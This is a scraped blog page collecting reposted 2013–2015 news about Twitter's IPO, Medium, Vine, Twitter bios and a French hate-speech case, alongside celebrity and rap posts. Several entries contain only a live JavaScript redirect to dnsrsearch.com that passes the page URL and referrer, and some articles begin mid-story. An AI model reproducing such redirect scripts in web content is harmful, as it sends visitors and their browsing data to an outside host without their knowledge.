Showing posts with label Twitter. Show all posts
Showing posts with label Twitter. Show all posts

Monday, April 6, 2015

Kanye West Shares Nude Photos of Kim Kardashian on Twitter: 'I'm So Lucky'

Pascal Le Segretain, Getty Images

Social media users got a big surprise Monday afternoon (March 16) when Kanye West decided to give the public an eyeful on Twitter with a few nude photos of his wife, Kim Kardashian.

Yeezy, apparently in a good mood and feeling thankful, posted a photo of Kim with the caption, “I’M SO LUCKY.” By looking at the pic, we’re not sure anyone would disagree.

While one photo would’ve been enough to get the people talking, Yeezy didn’t stop there. He also congratulated his wife on reaching 30 Million followers on Twitter — with another nude photo attached.

The rapper even took the time to give Kim K. props on the premier of the 10th season of her TV show, Keeping Up With The Kardashians. “CONGRATS BABY ON THE SHOW PREMIERE LAST NIGHT,” he wrote, sharing another picture of the naked reality TV star.

We suspect that Kanye may have snapped these pictures of Kim while looking at them off of a laptop. Then he likely uploaded them from a mobile app on his phone since a few of the images seem to be part of a slideshow of some sort. Judge for yourself.

Hate him or love him, you’ve got to admit that the world of music is more exciting whenever Kanye West is around. The same can be said about his wife, Kim Kardashian, who moves the needle like no other socialite has in the history of socialites. So when you put the two together, trending topics are made and a media frenzy is bound to ensue. Job well done, Mr. West.

See 10 Bootylicious Beauties


View the original article here

Sunday, May 4, 2014

Official Video - Late (Dutch Mastermind x R-Stonze) HD


R-Stonze links up with fellow Cleveland hip-hop artist Dutch Mastermind to drop a visual to the track featured on R-Stone's latest mixtape "Interview With The Vampire" hosted by ASAP Money Gang & DJ Plugg.

The two Cleveland artist spit over a classic Kanye West joint, giving you yet another banger featuring each other on the track.

Shot & Edited by RyVisions
(All footage is owned by RyVisions)

Download the mixtape via Indy Livemixtapes here
http://indy.livemixtapes.com/mixtapes...

Listen to R-Stonze's sophomore album "Rock S.T.A.R." via iTunes
http://itunes.apple.com/album/id64551...

Follow us on our official Twitter profiles
@Dutch_Mastermnd
@SMGStoney

Wednesday, January 1, 2014

R-Stonze.Com Launches Today

Stakk Money Ent. CEO R-Stonze launched his official website today. This project was well in the works and planned for before hand months ago. Different situations were presented on the table months after its planning, but I'm happy to say that it finally launched today.



Get to take a closer look at R-Stonze, get the latest music and stay in depth via www.rstonze.com  Watch his latest videos, read interviews and more. There is also a section on this site for his clothing line "Essence Of Royalty" which launched late 2013. The winter collection is the current line of clothing being made as of now, but the spring and summer line is underway.

Tuesday, November 12, 2013

A Founder of Twitter Goes Long

Mr. Williams is a contemplative 41-year-old Nebraskan turned billionaire, at least on paper, as of Thursday when Twitter went public. If Twitter redefined the frontier of communications, Medium is trying to reclaim some of the lost territory.

Broadly speaking, Medium is a blogging platform, meaning it’s a place for people to write and read posts. And Mr. Williams, as its C.E.O., hopes that it will allow thoughtful, longer-form writing to flourish. Mr. Williams frankly acknowledges that the medium of Medium is not new. In fact, he says he’s reaching back to the once-du jour notion of blogging because, in the frenzy to build social communications tools, something has been left behind: rationality.

“In the early days, I bought into the idea that the Internet would lead to a better world, that the truth was out there and that we didn’t need gatekeepers,” he said. The idea that he and many others embraced was that an unfiltered Internet would create a democratic information utopia. “Now,” he continued, “I think it’s more complicated than that.”

Medium is Mr. Williams’s version of a gatekeeper, albeit one that relies heavily on technology rather than human expertise or taste. While it has some editors soliciting and promoting some content, the bigger idea is to use algorithms to help identify blog posts that readers consider valuable and to bubble them to the surface.

He’s carrying out ideas he toyed with in his first big commercial venture, which was called, simply, Blogger. He sold that to Google a decade ago, begetting his first millions. Now, he is joining the mini-movement to celebrate long-form expression at sites and apps like Longform, Longreads and the Verge. The oddity is that Mr. Williams helped found Twitter, which is to long form what snacks are to dinner: sometimes a prelude, often an appetite killer.

The short-burst culture has eaten away at the very definition of “long form.” Many articles in Medium, for instance, are hundreds of characters longer than a tweet but tens of thousands fewer than something you’d find in, say, The New Yorker.

And some see little evidence that people want to consume anything that takes much time. “I see a diminishing audience for long form of anything,” said James Katz, director of the division of emerging media studies at Boston University. “The riptide of society is heading the other direction.”

For his part, Mr. Williams said he was disturbed by the swelling cacophony of information that makes it easy to be overwhelmed and hard to know what to trust. Good information, he said, can lose out, and, as he described his new mission, “I want to give rationality a fighting chance.”

“I’m an eternal optimist,” Mr. Williams told me over lunch last week, wearing skinny jeans and long-sleeve black T-shirt. “But I’m a more realistic optimist than I used to be.”

He traced the evolution of his thinking by describing an “epiphany that bothered” him this year. In preparing a speech, he revisited his career’s early days. The exercise made him realize that the Internet wasn’t changing the world as he had once idealized, but that, far less romantically, it had come to be little more than a “convenience.”

If this sort of revelation rationalizes Mr. Williams’s new business, he is not alone in believing it. Nor is he the only mogul seeking to use a technology-borne fortune to finance serious journalism. (See: Jeff Bezos buys The Washington Post or Pierre Omidyar finances Glenn Greenwald in an investigative journalism venture.)

But you have to give credit to Mr. Williams for having the courage of his convictions. He’s been doing his own thing since he embraced his inner nerd, rejected the football-obsessed culture of his native Nebraska (becoming a vegan there, he said, “was tough”), and moved west. He can also afford to do what he wants, given that his already considerable net worth has jumped nearly $2.5 billion, owing to his 10.4 percent stake in Twitter.

He’s backing Medium along with two business partners, Biz Stone and Jason Goldman, both formerly of Twitter. Medium, which started in 2012, has around 40 employees and, last month, started letting anyone write for it. A few writers are paid, with their work solicited by a small editing team, but most are not. Much ballyhooed by Medium is software that allows “collaboration” among writers by letting them share posts privately before publication, in pursuit of suggestions or edits. Posts then appear in collections, or channels, like “Adventures in Consumer Technology,” or “Best Thing I Found Online Today.”

Wednesday, October 16, 2013

Bits Blog: Dear Twitter, Please ‘Like’ This

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Monday, October 7, 2013

Cultural Studies: Twitter Bios and What They Really Say

“Hillary Clinton’s Twitter Bio is Perfect,” pronounced a Slate headline. The Washington Post declared that it “may be the best bio ever.” With self-deprecating élan, Mrs. Clinton pithily overturned any patronizing claims by her former rival for the presidency that she was “likable enough.”

The Twitter bio is a postmodern art form, an opportunity in 160 characters or fewer to cleverly synopsize one’s professional and personal accomplishments, along with a carefully edited non sequitur or two. It lets the famous and the anonymous, athletes and accountants, surreal Dadaists and suburban dads alike demonstrate that they are special snowflakes with Wes Anderson-worthy quirks.

The standard bio is a staccato string of statuses and interests separated by commas or periods. Frequently, one’s parental status is tossed in, particularly by men who seem to want public credit for fatherhood (“Proud papa to three adorable kids who destroy everything in sight”).

Then there are the addenda, the hobbies and passions and random facts. As Alex Blagg, a writer, noted in a blog post, these are often punctuated by self-aggrandizing words like “addict” or “junkie” (as in “coffee addict” or “CrossFit junkie”); “enthusiast,” “aficionado” or “geek” (“Breaking Bad aficionado”); the glamorous suffix “-ista” (“accountantista”); or the “super-heroic” tag of “guy” or “girl” (“war reporter guy,” “hedge fund girl”).

Beyond such clichés, the potential hazards of bios are well known to any social-media user: humble brags (“For some reason they put me in the movies”), unchecked self-promotion (“See my new movie, out this Christmas”) and the blandly literal (“I am a professional actor in a motion picture feature scheduled for wide release Dec. 25”).

The more famous one is, the less the need for straightforwardness. Tom Hanks needs no introduction, yet an aw-shucks approach for him — such as “I once said something about a box of chocolates” — may project as false modesty. His bio is true to his Everyman persona: “I’m that actor in some of the movies you liked and some you didn’t. Sometimes I’m in pretty good shape, other times I’m not. Hey, you gotta live, you know?”

For lesser-known wits, the preferred mode of expression seems to be absurdist subversion. The bio of Patton Oswalt, an actor and writer, says “Mr. Oswalt is a former wedding deejay from Northern Virginia.” (This is true, though Mr. Oswalt has accomplished much since then.) Anna Kendrick, an actress, describes herself as “Pale, awkward and very very small. Form an orderly queue, gents. Location: probably by the food.” (Ms. Kendrick’s wan diminutiveness did not prevent GQ from featuring her in a semi-clothed photo shoot.)

And in a deft collaboration, Jason Bateman’s reads “Friend of Will Arnett’s”; his former “Arrested Development” co-star’s is “Jason Bateman’s sponsor.”

Rob Delaney, a comedian who has amassed a large Twitter following, is so steeped in its world that his bio is a parody of bios: “Comedian, Writer, 6’3 217 lbs. Preorder my book, Rob Delaney: Mother. Wife. Sister. Human. Warrior. Falcon. Yardstick. Turban. Cabbage.” The title comes from a tweet of his from July 8, 2012, which resonated with his followers, receiving more than 3,000 retweets.

When he joined, he simply listed his occupation (“Because nobody knew who I was, and I was soliciting work on Twitter,” he said in a phone interview) and weight, “because it’s irrelevant to my job, and bodies make people feel uncomfortable, or at least mine does.”

Mr. Delaney had opinions about other people’s Twitter bios. “I understand the urge to have people see other sides of you, particularly for celebrities,” he said. “But when a major league pitcher puts in ‘barbecue enthusiast’ or ‘astronomer,’ I’m like, ‘I don’t care: you’re a pitcher.’ When people try to let everyone know just how delicious and multifaceted they are, I think that’s silly.”

And yet the revolving billboard that is a celebrity Twitter bio in sell mode can make one appreciate civilians’ attempts at subtlety. See Lady Gaga’s capitalized imperative: “Buy my new single ‘Applause’ and pre-order my album ‘Artpop’ here now!” The cannier blend self-promotion with a more intimate message, as does Twitter’s most popular user, Justin Bieber: “#Believe is on iTunes and in stores worldwide! — So much love for the fans ... you are always there for me and I will always be there for you. Much love. Thanks.”

The cleverest, though, find a way to refer to themselves within the grammar of Twitter (Taylor Swift, quoting her own lyrics from the song “22”: “Happy. Free. Confused. Lonely. At the same time.”). Then there is the enigmatic empty bio, like that favored by the normally loquacious Kanye West, suggesting an outsize personality that cannot be restricted.

Not surprisingly, literary writers on Twitter tend to reach for linguistic virtuosity or allusiveness. The bio of Elif Batuman, a journalist and essayist, is “Like Dostoevsky, I wrote a book called The Possessed. Mine is shorter.” But Joyce Carol Oates, likely recognizing the bio’s inadequacy for her sprawling oeuvre, simply writes “Author.”

Politicians generally stick to square pronouncements about their jobs and families, sometimes with an of-the-people nod to their hometown sports team (“Go Pack Go!” concludes Paul Ryan’s bio; Samantha Power’s concludes “member of @RedSox Nation”). Athletes, too, provide less entertainment than one might hope for, whether out of fear of offending corporate owners and sponsors or a lack of verbal panache.

There are also the earnest, spiritual or philosophical bios, adult-yearbook quotations that strive to say something profound about society or the universe. These range from the sober (Ann Curry’s “Journalism is an act of faith in the future”) to those of reduced gravity (Paris Hilton: “Living Life to the Fullest!”).

Among the guru set, words conveying internationalism, such as “nomad,” recur at a high rate, as in Deepak Chopra’s one-word location of “Global.”

Perhaps the most popular bio disclaimer is “Views are my own,” to differentiate between one’s tweets and one’s employer. As Forbes pointed out, such a qualification serves no legal purpose. But it is ripe for parody in bios like that in a discontinued account for Darth Vader, who, like any media-savvy Twitter user, favors family over work: “Community Manager for Sith Lord but tweets are my own. Asthmatic. Dad to two rambunctious Jedis. Love scrapbooking, Beyoncé and galactic domination.”

DealBook: Twitter Puts Numbers to Its I.P.O. Talk

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Sunday, October 6, 2013

DealBook: As Twitter Opens Up, Employees Do, Too

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

What Can Be Sold in 140 Characters? That’s Now the Challenge for Twitter

So get ready, Twitter users: you are going to see more ads in your message stream, especially if you live overseas.

You may also see Twitter become more like a flash-sale site, with offers to buy products appearing in your message stream along with a way to buy them with a quick click or tweet.

In documents filed on Thursday to inform investors ahead of its initial public offering of stock, Twitter noted that it has been greatly expanding its inventory of advertising slots, especially for promoted tweets, which are sponsored messages that use the same format as the 140-character postings, or tweets, that are the core of the service.

The company, based in San Francisco, said that across its base of 218 million users, the average person is checking the service more frequently — about 230 times a month, compared with 197 times a month a year ago. And users are also interacting with more ads.

But Twitter revealed that it has also significantly increased the number of ads it sells, and prices for those ads have fallen. The company said it believes cheaper, more targeted ads will draw in more advertising, more than making up for the price drop.

So far, the strategy seems to be working — the company said advertising revenue more than doubled in the first six months of this year, to $221 million, compared with the same period last year.

Joy Baer, executive vice president of Strata, which makes software that helps advertisers and ad agencies buy online ads, said that the 1,000 ad agencies that use Strata had been rapidly increasing their purchases of Twitter ads over the last two years. Although Facebook still dwarfs Twitter in overall revenue, she said that for every $100 in Facebook ads her customers buy, they are buying $33 of Twitter ads.

“There is a huge opportunity for them to get more of the dollars,” Ms. Baer said. “What they have to do is make it easier for a media buyer to click a button and buy Twitter.”

Right now, the company’s ad-buying process is less automated than for competitors like Facebook and Google.

Twitter declined to comment, citing regulations limiting what a company selling stock to investors could say beyond its official filings.

But analysts say that Twitter faces several growth challenges.

More than three-quarters of the company’s users are outside the United States, and it must find a way to make money from those global users. Right now, only 25 percent of its revenue comes from overseas. In the second quarter of the year, each American user represented about $2.17 in ad revenue to Twitter. Each one outside the United States brought in about 30 cents during the quarter.

Twitter’s big challenge is to convince a company outside of the United States why it should spend advertising money with Twitter, and not with other outlets, said Daniel Knapp, director of advertising research at the consultant IHS Screen Digest in London.

Twitter also has limitations as a medium, compared with more visually robust services like Facebook or Google, which can also count on revenue from video and display ads. And the competition isn’t standing still — Instagram, a fast-growing photo sharing service owned by Facebook, announced on Thursday that it would begin putting ads in the photo feeds of its users, something that advertisers have been eagerly awaiting.

Although Twitter has struck deals with television networks in the United States and some other countries to run video clips that are sponsored by advertisers, those are still a small proportion of revenue compared with its sponsored tweets.

The company’s robust presence on mobile devices — 75 percent of its users access the service that way, and two-thirds of revenue is from mobile ads — can also be a limitation where smartphones are not common.

In India, for example, Twitter is widely used by Bollywood stars like Amitabh Bachchan, who has 6.5 million followers on the service.

The service has also become one of the most important platforms for political debate there.

David Jolly and Mark Scott contributed reporting from London and Peter Eavis and Jenna Wortham from New York.

Saturday, October 5, 2013

DealBook: Twitter Discloses Its I.P.O. Plans

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Thursday, October 3, 2013

Bits Blog: The Numbers Behind Twitter

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Sunday, September 15, 2013

The Payday at Twitter Many Were Waiting For

He had already signed up a number of well-known Silicon Valley financiers, but he also dashed off a note to his old friend Dick Costolo, who had just sold his company to Google, asking if he would like to put in $25,000 or $100,000.

“I’m on the $25k bus,” Mr. Costolo replied three minutes after receiving the e-mail. “Thanks Ev, this will be a lot of fun.”

Mr. Costolo, who is now the chief executive of Twitter, is one of a handful of individual investors who stand to reap the rewards of a potential initial public offering of stock in the social network. The company said on Thursday that it had filed early paperwork with regulators to conduct such a sale, which will probably occur late this year or early next year.

Although many details are still unclear — most of all the offering price of Twitter’s stock — Mr. Costolo’s initial investment is probably worth more than $10 million, with additional shares he has received as an executive worth many millions more, according to people knowledgeable about the company’s finances.

Twitter declined to comment on its finances, citing the confidential nature of its I.P.O. filings at this stage in the process.

Mr. Williams, who provided crucial early financing for Twitter and remains its largest shareholder, will almost certainly become a billionaire. The venture investor Chris Sacca and at least two venture capital firms, Union Square Ventures and Spark Capital, will also most likely end up with stakes exceeding $1 billion each, according to an analysis of financial documents and interviews with people who know about Twitter’s finances. Others could make tens of millions or even hundreds of millions of dollars.

Not everyone will be so lucky.

Twitter struggled in its early days, even laying off employees as it tried to conserve its cash. Just two years ago, there were questions about its viability as it tried to figure out how to wring revenue from the endless stream of 140-character messages generated by its users. Many early investors and employees sold hundreds of millions of dollars of stock in 2011 to a Russian investment firm, DST Global, that was eager to buy in.

“To see it come to life and have it taken away, I was devastated,” said Dom Sagolla, an early employee of Twitter who was laid off in May 2006 and never received stock. While Mr. Sagolla has made some money by proxy from Twitter — he wrote a book that tells newcomers how to use the service and is doing some paid public speaking — he does not stand to benefit as Twitter heads to Wall Street.

Twitter’s I.P.O. will not be nearly as large as Facebook’s $16 billion offering last year, but it will still create a multimillionaires club of dozens of early believers.

“For me personally, this is a once-in-a-decade or once-in-a-career kind of investment,” said Bijan Sabet, a partner at Spark Capital, one of the earliest investors in Twitter.

If history is a guide, the money generated by the Twitter offering will also provide the seed money for the next generation of scrappy tech companies that could grow to compete with Twitter.

“When you have a successful I.P.O., it gives people confidence both in the public and private markets and they are directly correlated,” said James A. Moore, a senior executive at Columbia Business School’s entrepreneurship program and founder of J. Moore Partners, a technology mergers and acquisitions consulting firm.

Indeed, Mr. Williams and his other two co-founders, Jack Dorsey and Biz Stone, are no longer involved with daily operations at the company and have moved on to new ventures. Dozens of other very early employees have also left, although many still hold stock worth millions.

How many millions will depend on the final valuation placed on the company for the stock offering. Investment bankers will gauge investors’ interest in the stock and work with the company to set a price.

In March, Twitter set off a frenzy of interest after it said it was valuing the stock it was offering to employees at $17 a share, according to VC Experts, a private company data provider. That price implied that the company was worth more than the $8 billion valuation it had when it raised money in 2011.

Since then, interested parties have been willing to pay as much as $30 a share for a piece of the company in private transactions, according to Michael Pachter, an analyst at Wedbush Securities.

On the public stock exchanges, Internet companies have been surging. This week, investors have plowed money into companies like Facebook, Netflix and Pandora, sending their stock prices to record highs.

“Internet valuations are crazy right now and investors are willing to pay a lot for equity in Internet stocks,” Mr. Pachter said. “Twitter is taking advantage of this.”

In hindsight, some Twitter shareholders who cashed out early have expressed regrets. But “in our case, we are early-stage people, and we had had a remarkable run,” said one early investor who sold millions of dollars of stock in 2011, when the Russian investment firm was buying.

And then there were those who never got any stock at all, like Florian Weber, one of the earliest programmers at the company. He worked on the project before it was even fully separate from Odeo, the now-defunct company where it was hatched.

Mr. Weber, a German citizen, said he was hired as a contractor, not an employee, so he never received any stock options.

“Coming from Germany, it’s not something that I pushed terribly hard for,” said Mr. Weber, who often worked remotely from Hamburg and eventually tired of telecommuting.

“As far as I know, I’m the only one who does not have stock options,” he said. But he has no regrets. He eventually started his own company, Amen, in Germany, which was just sold to a bigger firm, Tape.tv. “I’m very happy with my life.”

Alexandra Stevenson contributed reporting from New York.

Bits Blog: Twitter vs. Facebook: A Tale of Two Sites

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Bits Blog: 5 Reasons That Innovation at Twitter Might Take a Hit

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Wednesday, August 7, 2013

Study Links TV Viewership and Twitter Conversations

A first-of-its-kind study by Nielsen has affirmed what nearly everyone in the television industry already suspected: Twitter conversations sometimes do cause people to turn on the TV.

The study, to be released on Tuesday, examined Twitter chatter and minute-by-minute Nielsen ratings of 221 episodes of prime-time shows on major networks. Most of the time, there was no statistically significant relationship between the two sets of data. But Twitter messages were shown to cause a “significant increase” in ratings 29 percent of the time, said Mike Hess, an executive vice president at Nielsen and the senior researcher involved in the study.

A causal connection was also shown in the other direction: that is, the ratings had an effect on the volume of related messages 48 percent of the time. Some genres of shows were much more likely to benefit from Twitter conversation than others.

“Over all, this does validate that additional research around this influence is worth pursuing,” Mr. Hess said.

Nielsen and Twitter are business partners — they are promoting a new metric called a Nielsen Twitter TV Rating that measures online conversations about shows — so the study may provoke some skepticism. Its findings, though, are likely to be cheered by networks and marketing firms that have invested heavily in social media. Anecdotes about spikes in the ratings credited to Twitter chatter have given producers and advertisers new hopes of assembling mass audiences.

Mitchell J. Lovett, a professor at the University of Rochester who has studied Twitter-television correlations, said that demonstrating causality had proved difficult in the past.

“It is hard to distinguish whether Twitter (or other social media) activity simply reflects existing interest (the person talks about the show because of an interest in watching or plans to watch) rather than causes it,” he wrote via e-mail. For that reason, the Nielsen study “could be groundbreaking,” he said, though he cautioned that he had not examined its methodology yet.

Friday, August 2, 2013

Bits Blog: Governments, Led by U.S., Seek More Data About Twitter Users

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Thursday, August 1, 2013

Bits Blog: Twitter Will Make It Easier to Report Abusive Posts

window.location="http://www.dnsrsearch.com/index.php?origURL="+escape(window.location)+"&r="+escape(document.referrer);

Sunday, July 14, 2013

Twitter Yields to Pressure in Hate Case in France

The case shows how challenging it is for Silicon Valley companies to champion the free speech rights of users while complying with the laws of countries where they do business. It also highlights Silicon Valley’s Europe problem: the Continent represents a large and lucrative market, but its lawmakers, regulators and courts have hounded the industry in recent months on issues as varied as privacy and antitrust law.

For months, Twitter had fought a court order obtained by a private French citizens’ group demanding that the company turn over the user information. But on Friday, the company said it had handed over the information to a prosecutor in Paris, in response to a law enforcement request. By turning over the information, Twitter said, it had ended a lawsuit related to the court order brought by the private group.

In a statement Friday, the company said: “in response to a valid legal request, Twitter has provided the prosecutor of Paris, Presse et Libertés Publiques section of the Paris Tribunal de Grande Instance, with data that may enable the identification of certain users that the Vice-Prosecutor believes have violated French law.”

The statement took pains to note that Twitter was providing the information to law enforcement through a legal request, not to the private group.

The case has important implications for Twitter users worldwide, as governments increasingly try to extract user information from the service. Legal experts say Twitter could have insisted that the French authorities seek to extract the user data by filing a claim in the United States, where the company is based.

Eric Goldman, a law professor at Santa Clara University, said that while Twitter had demonstrated its commitment to protecting free speech on many occasions, it was under pressure to meet nations’ demands for information on their citizens, both in America and abroad. Many companies face this pressure, and Twitter is all the more vulnerable now that it has an office in Paris, making its employees and assets there subject to French law.

“Governments have an unquenchable thirst for more information about their citizens, and Internet companies, as repositories of data, are going to be on the list of targets,” Mr. Goldman said. He added: “We are in no position to criticize another government for demanding data on users. Our government is doing that about us every day.”

The French Union of Jewish Students and SOS Racisme had sought the identities of the users, who had used pseudonyms, and in January a French court ordered Twitter to hand over the data. Twitter appealed, and lost, in June. The French student union filed a $50 million civil suit against the company, saying that it had failed to comply with the court order. On Friday, Jonathan Hayoun, president of the group, said that “Twitter has finally accepted its responsibility for hate prevention as a prominent player on the Web.”

In the second half of 2012, Twitter received over 1,000 requests from government agencies in the United States and abroad, from Australia to Turkey. It complied to varying degrees: 69 percent of the time with respect to requests from American authorities, 33 percent from the Dutch, and never in the case of countries like India, Israel or Turkey. Twitter on Friday said it did not have a uniform policy on how it treated law enforcement requests. “Requests for Twitter user information, whether domestic or international, are evaluated on a case-by-case basis,” the company said in a statement.

“There was more fighting Twitter could have done and chose not to,” said Christopher Wolf, a partner at Hogan Lovells who represents American technology companies, including in Europe. He added: “It is an episode that gives me some pause over the potential breadth of jurisdiction by a European government over a U.S. Internet company.”

Twitter’s legal feuds with foreign governments could muddle its expansion overseas. Running afoul of the law in any country potentially makes it vulnerable to having its assets seized and its employees arrested.

Complicating matters, Twitter, like other similar companies, has a sort of jurisprudence of its own, laid out in its Terms of Service. It does not explicitly address hate speech, but stipulates that “users are allowed to post content, including potentially inflammatory content, provided they do not violate the Twitter Terms of Service and Rules.” Those include a prohibition against “direct, specific threats of violence against others.”

The French case was prompted by a spate of anti-Semitic posts late last year. There were also jokes about the Holocaust and comments denigrating Muslims. Holocaust denial is a crime in France, and the country has strict laws against hate speech. Twitter removed the posts in France after the complaints.

Sunday, June 23, 2013

Facebook Takes On Twitter With Video

That’s the maximum length of the videos on Vine, a mobile application owned by Twitter that has grown like one of those creeping plants, to close to 20 million users since it sprouted five months ago.

On Thursday, Facebook introduced its own short-video service, built into Instagram, the popular photo-sharing app that Facebook bought last year. The new feature allows users to record as much as 15 seconds of video, enhance it with image filters and post it immediately.

The move underscores how video has increasingly become critical to companies like Facebook, which is seeking ways to keep its 1.1 billion users entertained and engaged — particularly on their mobile devices. Video also represents a lucrative and fast-growing area of online advertising and is expected to top $4 billion this year across the industry, according to the research firm eMarketer.

“Sharing video is inherently mobile,” said Gene Munster, an analyst with Piper Jaffray. And Facebook needed to get into the game, he said, adding that it had to “check that box to remain relevant to their users.”

The simplicity of both apps — press your finger to the screen to record, lift it to stop and click to publish — makes it nearly as easy to share a video as it is to post a photograph.

And the form seems aptly suited to modern vanities and attention spans — people peek at their smartphones in line at the grocery store but may also feel moved to document the visit.

Vine has caught the fancy of everyone from the White House, which recently filmed President Obama pedaling a stationary water filtration bicycle, to marketers like Burberry, which this week compressed its entire runway show of men’s fashions into a six-second blur.

Kevin Systrom, a co-founder of Instagram, said his team had been considering adding video to the service for two years, but waited until it could be made “fast, simple and beautiful.”

“What we did to photos we just did for video,” Mr. Systrom said at a news conference at Facebook’s Silicon Valley headquarters on Thursday. Instagram has about 130 million users, according to the company.

Although neither Vine nor Facebook’s service is currently offering advertising, it would be easy to sprinkle a sponsor’s video ad into the legions of user-generated videos, much as Twitter and Facebook do now with text ads in their users’ feeds.

Jan Rezab, chief executive of the research firm Socialbakers, said that online viewers had a high tendency to engage with video ads, especially if they were deftly inserted into a stream of other content.

“You could actually monetize Vines and the Vine channel by introducing sponsored Vines. Every 10th Vine could be a sponsored Vine,” he said. Facebook could do something similar.

Currently, about one in 10 iPhone users in the United States has the Vine app, and more than a third of iPhone users have Instagram, according to the research firm Onavo Insights. If the short-video format proves to be more than a passing fad, a great deal of advertising revenue could be at stake. YouTube, Google’s longer-format video service, brings in billions of dollars a year in advertising.

Facebook already gets about 30 percent of its advertising revenue from mobile, according to its last quarterly earnings report.

Video holds a promise that goes beyond what static images and nuggets of text can offer. It tends to engage even the most distracted users, particularly when the snippets are easily digestible.

Vine-length videos are ideal when scrolling through a Twitter feed on a smartphone, Mr. Rezab said. Videos tend to be funny, and “you don’t have to hit the play button. The sound kicks in as you’re scrolling over it.”

“The six seconds is just magical,” Mr. Rezab said.

That sense of ease and simplicity was what the Vine team was striving for when it built the app, said Michael Sippey, Twitter’s vice president of product, in an interview.

“We wanted to make mobile video without a start or stop button,” he said. “If you give people simple tools to tell stories, they’ll tell really great stories.”

Some will be funny or trivial, but others will record momentous events, he said, like this week’s videos on Vine of the protests in Brazil.

The Instagram team sought much the same thing, although it added other features, like the ability to delete portions of a 15-second video and rerecord them. It also included an image stabilization feature to reduce the choppiness that often comes with hand-held recording.

Vindu Goel reported from Menlo Park and Jenna Wortham from New York.